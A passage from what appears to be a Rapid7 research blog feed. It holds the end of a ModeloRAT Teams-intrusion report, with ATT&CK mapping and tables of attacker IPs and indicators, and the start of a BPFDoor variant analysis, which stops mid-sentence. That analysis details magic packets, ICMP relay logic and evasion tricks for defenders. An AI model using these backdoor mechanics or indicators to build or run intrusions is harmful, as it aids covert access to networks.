undefined;'> was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via </span><span style='font-size: undefined;'><span data-type='inlineCode'>uploadnow[.]io</span></span><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">MITRE ATT&CK techniques</h2><table><colgroup data-width='808'><col style="width:30.94059405940594%"/><col style="width:69.05940594059405%"/></colgroup><tbody><tr><td><p><strong>TECHNIQUE ID</strong></p></td><td><p><strong>TECHNIQUE NAME</strong></p></td></tr><tr><td><p>T1566.003</p></td><td><p>Phishing: Spearphishing via Service</p></td></tr><tr><td><p>T1204.002</p></td><td><p>User Execution: Malicious File</p></td></tr><tr><td><p>T1059.001</p></td><td><p>Command & Scripting: PowerShell</p></td></tr><tr><td><p>T1059.006</p></td><td><p>Command & Scripting: Python</p></td></tr><tr><td><p>T1218.011</p></td><td><p>System Binary Proxy Execution: Rundll32</p></td></tr><tr><td><p>T1106</p></td><td><p>Native API</p></td></tr><tr><td><p>T1053.005</p></td><td><p>Scheduled Task/Job: Scheduled Task</p></td></tr><tr><td><p>T1068</p></td><td><p>Exploitation for Privilege Escalation</p></td></tr><tr><td><p>T1134.001</p></td><td><p>Access Token Manipulation: Token Impersonation</p></td></tr><tr><td><p>T1134.004</p></td><td><p>Access Token Manipulation: Parent PID Spoofing</p></td></tr><tr><td><p>T1562.001</p></td><td><p>Impair Defenses</p></td></tr><tr><td><p>T1027</p></td><td><p>Obfuscated Files or Information</p></td></tr><tr><td><p>T1027.002</p></td><td><p>Software Packing</p></td></tr><tr><td><p>T1027.009</p></td><td><p>Embedded Payloads</p></td></tr><tr><td><p>T1620</p></td><td><p>Reflective Code Loading</p></td></tr><tr><td><p>T1036.005</p></td><td><p>Masquerading</p></td></tr><tr><td><p>T1140</p></td><td><p>Deobfuscate/Decode Files or Information</p></td></tr><tr><td><p>T1112</p></td><td><p>Modify Registry</p></td></tr><tr><td><p>T1055</p></td><td><p>Process Injection</p></td></tr><tr><td><p>T1056.002</p></td><td><p>Input Capture: GUI Input Capture</p></td></tr><tr><td><p>T1558.003</p></td><td><p>Steal or Forge Kerberos Tickets: Kerberoasting</p></td></tr><tr><td><p>T1003.001</p></td><td><p>OS Credential Dumping: LSASS Memory</p></td></tr><tr><td><p>T1003</p></td><td><p>OS Credential Dumping</p></td></tr><tr><td><p>T1018</p></td><td><p>Remote System Discovery</p></td></tr><tr><td><p>T1087.002</p></td><td><p>Account Discovery: Domain Account</p></td></tr><tr><td><p>T1082</p></td><td><p>System Information Discovery</p></td></tr><tr><td><p>T1016</p></td><td><p>System Network Configuration Discovery</p></td></tr><tr><td><p>T1033</p></td><td><p>System Owner/User Discovery</p></td></tr><tr><td><p>T1083</p></td><td><p>File and Directory Discovery</p></td></tr><tr><td><p>T1021.006</p></td><td><p>Remote Services: WinRM</p></td></tr><tr><td><p>T1021.001</p></td><td><p>Remote Services: RDP</p></td></tr><tr><td><p>T1570</p></td><td><p>Lateral Tool Transfer</p></td></tr><tr><td><p>T1071.001</p></td><td><p>Application Layer Protocol: Web Protocols</p></td></tr><tr><td><p>T1095</p></td><td><p>Non-Application Layer Protocol</p></td></tr><tr><td><p>T1090.001</p></td><td><p>Proxy: Internal Proxy</p></td></tr><tr><td><p>T1090.002</p></td><td><p>Proxy: External Proxy</p></td></tr><tr><td><p>T1572</p></td><td><p>Protocol Tunneling</p></td></tr><tr><td><p>T1573</p></td><td><p>Encrypted Channel</p></td></tr><tr><td><p>T1132.001</p></td><td><p>Data Encoding: Standard Encoding</p></td></tr><tr><td><p>T1568</p></td><td><p>Dynamic Resolution</p></td></tr><tr><td><p>T1567.002</p></td><td><p>Exfiltration Over Web Service</p></td></tr><tr><td><p>T1041</p></td><td><p>Exfiltration Over C2 Channel</p></td></tr></tbody></table><h2 style="direction: ltr;">Indicators of compromise (IOCs)</h2><table><colgroup data-width='1303'><col style="width:17.805065234075208%"/><col style="width:28.242517267843436%"/><col style="width:53.95241749808135%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Category</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Indicator Type</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Value</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Attacker Infrastructure</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Rogue M365 Tenant (Sender)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>itsupport@UCICasociacion.onmicrosoft.com</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Attacker Infrastructure</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Tenant GUID</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>cdc15b4d-6fd6-4e90-9ee9-357fea475047</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Attacker Infrastructure</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Client Hostnames</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RICARDOGARC05B2, KALI-LINUX-2025-2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Attacker Infrastructure</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Initial Access Vector</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>MS Teams external chat (Impersonating "IT Support")</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Pmanager.py (ModeloRAT Beacon)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>46.225.231.170, 144.172.99.68, 64.94.85.158, 140.82.6.45, 45.76.241.51 </span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>collector.py (Exfiltration)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>87.120.186.229, 149.248.78.202 (Port 80)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>internal.py / Microsoft5237.py</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>87.120.186.229, 149.248.78.202 (Port 80)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>USOShared1297.py (TCP Shell)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>144.172.88.18, 64.190.113.187, 45.59.122.231 (Ports 50508, 60503)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>PCDr6967.py (SOCKS5)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>96.9.125.29, 144.172.111.49, 104.194.152.246 (Port 50504)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network C2</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Dell508.py (HTTP Tunnel)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>207.246.114.50, 149.28.96.170 (Port 80)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence Host</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cloud Files Provider Name</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>PLURIBUS</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence Host</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cloud Files Provider GUID</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>{904EE598-0511-4664-82A8-22C4A7501044}</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence Host</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Registry Persistence Key</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager\PLURIBUS!*</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence Host</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Sync Root Path</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>%TEMP%\cldflt\</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence Host</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Placeholder File</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>%TEMP%\cldflt\Link.log</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>More indicators of compromise can be found on Rapid7’s </span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/ModeloRat" target="_blank"><span style='font-size: undefined;'>GitHub</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Key findings</h2><ul><li style="direction: ltr;"><span style='font-size: undefined;'>ModeloRAT pivoted from browser extensions to Teams social engineering.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>Portable Python environments bypass traditional EDR signatures.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>CVE-2023-36036 remains effective despite patch availability.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>Fake lock screens can harvest credentials even with SYSTEM access.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>WebDAV API abuse provides stealthy credential validation.</span></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>It took two days to go from "Hi, this is IT support" to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise</link>
      <guid isPermaLink="false">blt21acae6556d6ea8d</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Anna Širokova]]></dc:creator>
      <pubDate>Wed, 13 May 2026 14:44:02 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83e3180716d766f0/69b180eb669f1ce1a02fe1aa/Purple-teaming-in-2026-hero.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[New Whitepaper: Stealthy BPFDoor Variants are a Needle That Looks Like Hay]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Executive Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Advanced persistent threats (APTs) are constantly and consistently changing tactics as network defenders plug holes in defenses. Static indicators of compromise (IoCs) for the BPFDoor have been widely deployed, forcing threat actors to get creative in their use of this particular strain of malware. What they came up with is ingenious.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>New research from Rapid7 Labs has uncovered undocumented features leading to the discovery of 7 new BPFDoor variants: a stealthy kernel-level backdoor that uses Berkeley Packet Filters (BPFs) to inspect traffic from right inside the operating system kernel. This essentially creates a silent trapdoor that can be activated by a threat actor once a “magic packet” is tunneled via stateless protocols. The malware is then able to perfectly blend into the target environment, establishing nearly undetectable persistence in global telecom infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our latest research continues the narrative established in our blog</span><span style='font-size: undefined;'><em> </em></span><a href="https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report/" target="_blank"><span style='font-size: undefined;'><em>BPFdoor in Telecom Networks: Sleeper Cells in the Backbone</em></span></a><span style='font-size: undefined;'>. </span><span style='font-size: undefined;'>It involves the analysis of nearly 300 samples and  identifies two primary new variants: httpShell and icmpShell. These variants represent a significant leap in operational security, utilizing stateless C2 routing and ICMP relay to bypass multi-million dollar security stacks.</span></p><h3><span style='font-size: undefined;'>Rapid7 detection and response strategy:</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 is actively tracking these variants to ensure our customers remain protected against this evolving threat through the following:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Intelligence Hub:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>Customers with access to Rapid7’s Intelligence Hub are receiving continuous updates, including the latest intelligence, YARA rules, and Suricata detection rulesets.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Actionable guidance:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>We have released a specialized triage script </span><span style='font-size: undefined;'>(</span><span style='font-size: undefined;'><span data-type='inlineCode'>rapid7_bpfdoor_check.sh</span></span><span style='font-size: undefined;'>) </span><span style='font-size: undefined;'>designed to identify both legacy and modern BPFDoor variants by inspecting active BPF filters and validating masqueraded processes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Detection engineering:</strong></span><span style='font-size: undefined;'> Our detection strategy focuses on structural header anomalies, such as hardcoded ICMP sequence numbers and invalid protocol codes, rather than transient payload content.</span></p></li></ul><h2 style="direction: ltr;">The strategic shift: Beyond legacy stealth</h2><p style="direction: ltr;"><span style='font-size: undefined;'>While BPFDoor has been active for years, its codebase has evolved significantly. The threat actor continues to incorporate minor features into the original </span><a href="https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c" target="_blank"><span style='font-size: undefined;'>codebase</span></a><span style='font-size: undefined;'> leaked in 2022, resulting in a "messy" but effective toolkit designed to hinder threat hunting. Given the significant code overlap among BPFDoor variants, we focused on the minor, easily overlooked details the TA (threat actor) added to the leaked codebase.</span></p><h3>From memory to disk</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Historically, BPFDoor was known for appearing "fileless" by executing from /dev/shm and deleting itself. However, modern endpoint detection and response (EDR) tools now flag processes running from deleted inodes in temporary filesystems. Recognizing this, the developers of the httpShell variant have eliminated the /dev/shm drop. The malware now resides on disk, using a single, hard-coded process name to blend in as a normal system daemon.</span></p><h2 style="direction: ltr;">Technical analysis: httpShell vs. icmpShell</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Our research unraveled several undocumented features (some of them were</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>not documented for nearly 5 years), leading to the discovery of two primary variants: httpShell and icmpShell.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>httpShell: The "Magic Ruler" of encapsulated traffic</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The httpShell variant leverages kernel-level packet filters to perform validation across both IPv4 and IPv6 traffic. It uses HTTP-tunneling to extract hidden commands and features a newly discovered "Hidden IP" (HIP) field for dynamic routing.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Kernel-level decapsulation</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> By binding to all interfaces simultaneously, the malware forces the target’s own kernel to decapsulate complex carrier-grade tunnels like GRE or GTP. This allows the BPF filter to easily catch magic bytes hidden inside the inner packets.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>The offset evasion</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>To survive enterprise proxies and WAFs that shift data positions, attackers use a mathematical padding scheme. They ensure their "9999" marker always lands exactly at the 26th byte offset of the inspected data, allowing the trigger to survive proxy headers.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>IPv6 limitations</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>The filter assumes the UDP/TCP header starts exactly at byte 40 (standard empty IPv6 header). If an attacker includes IPv6 "Extension Headers," the payload is pushed further down, and the malware fails to wake up.</span></p></li></ul><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>icmpShell: The dynamic PTY tunnel</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Designed for heavily restricted environments, icmpShell tunnels interactive sessions entirely over ICMP.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>PID-bound mutation</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>This variant injects a dynamic BPF filter into the kernel that binds specifically to the malware's runtime Process ID (PID). Because the PID changes with every execution, the required "magic knock" signature mutates dynamically, rendering static firewall rules useless.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Multi-mode execution</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>Beyond basic shells, it implements bidirectional ICMP tunnels, UDP and ICMP “hole-punching”, and RC4 encryption.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Both variants support relay over ICMP.</span></p><h2 style="direction: ltr;">Stateless C2 and the "Hidden IP"</h2><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfb7b9673f87f434b/69ce5cab267d5e0e7979f47c/New-magic-packet-structure.png" alt="New-magic-packet-structure.png" caption="Figure 1: New magic packet structure" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="New-magic-packet-structure.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfb7b9673f87f434b/69ce5cab267d5e0e7979f47c/New-magic-packet-structure.png" data-sys-asset-uid="bltfb7b9673f87f434b" data-sys-asset-filename="New-magic-packet-structure.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: New magic packet structure" data-sys-asset-alt="New-magic-packet-structure.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: New magic packet structure</figcaption></div></figure><p style="direction: ltr;">⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The discovery of the magic_packet_v2 struct featuring the HIP (hidden ip field) used for relay purposes highlights the malware's operational maturity.</span></p><h3 style="direction: ltr;">Dynamic C2 routing</h3><p style="direction: ltr;"><span style='font-size: undefined;'>One of the most elegant features is the use of a -1 flag (</span><span style='font-size: undefined;'><span data-type='inlineCode'>255.255.255.255</span></span><span style='font-size: undefined;'>) in the IP field of the magic packet structure.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Mechanism</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>If the flag is set, the malware ignores hardcoded IPs and sends its reverse shell back to the source IP found in the headers of the packet that woke it up.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Strategic purpose</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> This makes the attacker's controller completely stateless. Attackers can deploy from behind NAT or VPNs without needing to discover or hardcode their current external IP into the magic payload.</span></p></li></ul><h3 style="direction: ltr;">ICMP lateral movement (the relay)</h3><p></p><pre language="c">if (auth(mpacket-&gt;pass) || mpacket-&gt;hip == -1 || !mpacket-&gt;hip)</pre><p style="direction: ltr;"></p><p style="direction: ltr;"><span style='font-size: undefined;'>When the above "Gatekeeper Condition" (authentication) is false, the malware transforms the infected machine into an invisible network router.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fb22bc8afca0e67/69ce5d4cd43795e2ead0385f/ICMP-relay-using-HIP-field.jpg" alt="ICMP-relay-using-HIP-field.jpg" caption="Figure 2: ICMP relay using the HIP field" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ICMP-relay-using-HIP-field.jpg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fb22bc8afca0e67/69ce5d4cd43795e2ead0385f/ICMP-relay-using-HIP-field.jpg" data-sys-asset-uid="blt1fb22bc8afca0e67" data-sys-asset-filename="ICMP-relay-using-HIP-field.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 2: ICMP relay using the HIP field" data-sys-asset-alt="ICMP-relay-using-HIP-field.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: ICMP relay using the HIP field</figcaption></div></figure><p>⠀</p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>The process</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>It extracts an internal target IP from the HIP field, rewrites the trigger flag to ICMP magic bytes (0x5572), and fires a crafted ICMP Echo Request at the internal target.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Loop prevention</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>The malware wipes the hop IP to -1 to stop the next BPFDoor instance from forwarding the packet again.</span></p></li></ul><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b8929a403386c6f/69ce5da41604eec835874f9a/Rapid7-icmpshell-main-logic-chart.png" alt="Rapid7-icmpshell-main-logic-chart.png" caption="Figure 3: icmpShell main logic" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-icmpshell-main-logic-chart.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b8929a403386c6f/69ce5da41604eec835874f9a/Rapid7-icmpshell-main-logic-chart.png" data-sys-asset-uid="blt4b8929a403386c6f" data-sys-asset-filename="Rapid7-icmpshell-main-logic-chart.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: icmpShell main logic" data-sys-asset-alt="Rapid7-icmpshell-main-logic-chart.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: icmpShell main logic</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 set up a playground lab to test icmpShell. For this scenario, two docker containers simulating an nginx edge proxy and a victim HSS infected with icmpShell have been used, while the attacker executes the trigger sending the magic packet via the newly discovered Rapid7 BPFDoor controller. To interact with the shell we developed the python script </span><span style='font-size: undefined;'><span data-type='inlineCode'>icmpshell.py</span></span><span style='font-size: undefined;'> to ensure RC4 state is consistent across echo requests received on the attacker’s side, filtering out also heartbeat echo requests featuring an invalid ICMP code 1.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the bottom-right pane of the video below, we see the icmpShell variant being run with strace to debug its behavior. The top-left shows the controller triggering the backdoor after entering the new “icmp” password and crafting a magic packet over HTTPS (we will break down HTTPS tunneling and the new Rapid7 controller in a future blog) using magic bytes 0x5293. On the bottom-left pane the </span><span style='font-size: undefined;'><span data-type='inlineCode'>icmpshell.py</span></span><span style='font-size: undefined;'> runs to perform the ICMP handshake and handle shell traffic.  The connection over ICMP established between the attacker machine (REMnux) and the victim HSS leverages a second BPF filter (13-BPF instructions), installed by the backdoor that uses the reverse shell PID as a fixed ICMP ID, ensuring the capture of shell-related packets. On the upper-right pane, an ICMP tcpdump capture is run.</span></p><p>⠀</p><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>The video ends showing that the backdoor exits after 12s of attacker inactivity, killing the connection. The tcpdump capture shows attacker traffic being sent in cleartext prepending ‘X:’ to commands while the victim response is RC4 encrypted with the key “icmp”.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Below, we can observe the tcpdump screens highlighting ICMP handshake, shell’s data encryption, attacker’s command and the usage of 1234 ICMP sequence number hardcoded in the backdoor.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1e624ef2e1fa1b75/69ce606be94b483f515eea7e/Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" alt="Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" caption="Figure 4: icmpShell encryption/decryption flow" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1e624ef2e1fa1b75/69ce606be94b483f515eea7e/Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" data-sys-asset-uid="blt1e624ef2e1fa1b75" data-sys-asset-filename="Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 4: icmpShell encryption/decryption flow" data-sys-asset-alt="Rapid7-icmpShell-encryption-decryption-flow-chart.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: icmpShell encryption/decryption flow</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte235abd3603fa932/69ce606c2c747bce885767b4/icmpShell-sending-initial-ICMP-hello.png" alt="icmpShell-sending-initial-ICMP-hello.png" caption="Figure 5: icmpShell sending initial ICMP hello “X:3458”" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="icmpShell-sending-initial-ICMP-hello.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte235abd3603fa932/69ce606c2c747bce885767b4/icmpShell-sending-initial-ICMP-hello.png" data-sys-asset-uid="blte235abd3603fa932" data-sys-asset-filename="icmpShell-sending-initial-ICMP-hello.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: icmpShell sending initial ICMP hello “X:3458”" data-sys-asset-alt="icmpShell-sending-initial-ICMP-hello.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: icmpShell sending initial ICMP hello “X:3458”</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted9e411627da3e74/69ce606c78b2b1a73276db6c/attacker-sending-cleartext-command-ICMP.png" alt="attacker-sending-cleartext-command-ICMP.png" caption="Figure 6: attacker sending cleartext command over ICMP prepending “X:”" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="attacker-sending-cleartext-command-ICMP.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted9e411627da3e74/69ce606c78b2b1a73276db6c/attacker-sending-cleartext-command-ICMP.png" data-sys-asset-uid="blted9e411627da3e74" data-sys-asset-filename="attacker-sending-cleartext-command-ICMP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: attacker sending cleartext command over ICMP prepending “X:”" data-sys-asset-alt="attacker-sending-cleartext-command-ICMP.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6: attacker sending cleartext command over ICMP prepending “X:”</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Figure 7 below shows the heartbeat payload ignored by </span><span style='font-size: undefined;'><span data-type='inlineCode'>icmpshell.py</span></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>acting as an ICMP “hole-punching” to keep the firewall state table active.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc8797a2b45a87fa6/69ce616205b5be6a630124ed/ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" alt="ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" caption="Figure 7: ICMP “hole-punching” heartbeat hardcoded in icmpShell" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc8797a2b45a87fa6/69ce616205b5be6a630124ed/ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" data-sys-asset-uid="bltc8797a2b45a87fa6" data-sys-asset-filename="ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: ICMP “hole-punching” heartbeat hardcoded in icmpShell" data-sys-asset-alt="ICMP-hardcoded-hole-punching-heartbeat-icmpshell.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7: ICMP “hole-punching” heartbeat hardcoded in icmpShell</figcaption></div></figure><h2 style="direction: ltr;">Rapid7 variants</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The research of new variants is still ongoing. At the time of writing, Rapid7 identified seven new variants featuring new magic bytes and active C2 beaconing summarized below.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Samples </span><span style='font-size: undefined;'><strong><span data-type='inlineCode'>2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c</span></strong></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><strong><span data-type='inlineCode'>de472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba</span></strong></span><span style='font-size: undefined;'>, which we classify as </span><span style='font-size: undefined;'><strong>R7 variant ‘F’</strong></span><span style='font-size: undefined;'>, increase stealthiness by hiding under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/run/user/0</span></span><span style='font-size: undefined;'>. By avoiding the usual chmod command, the attacker 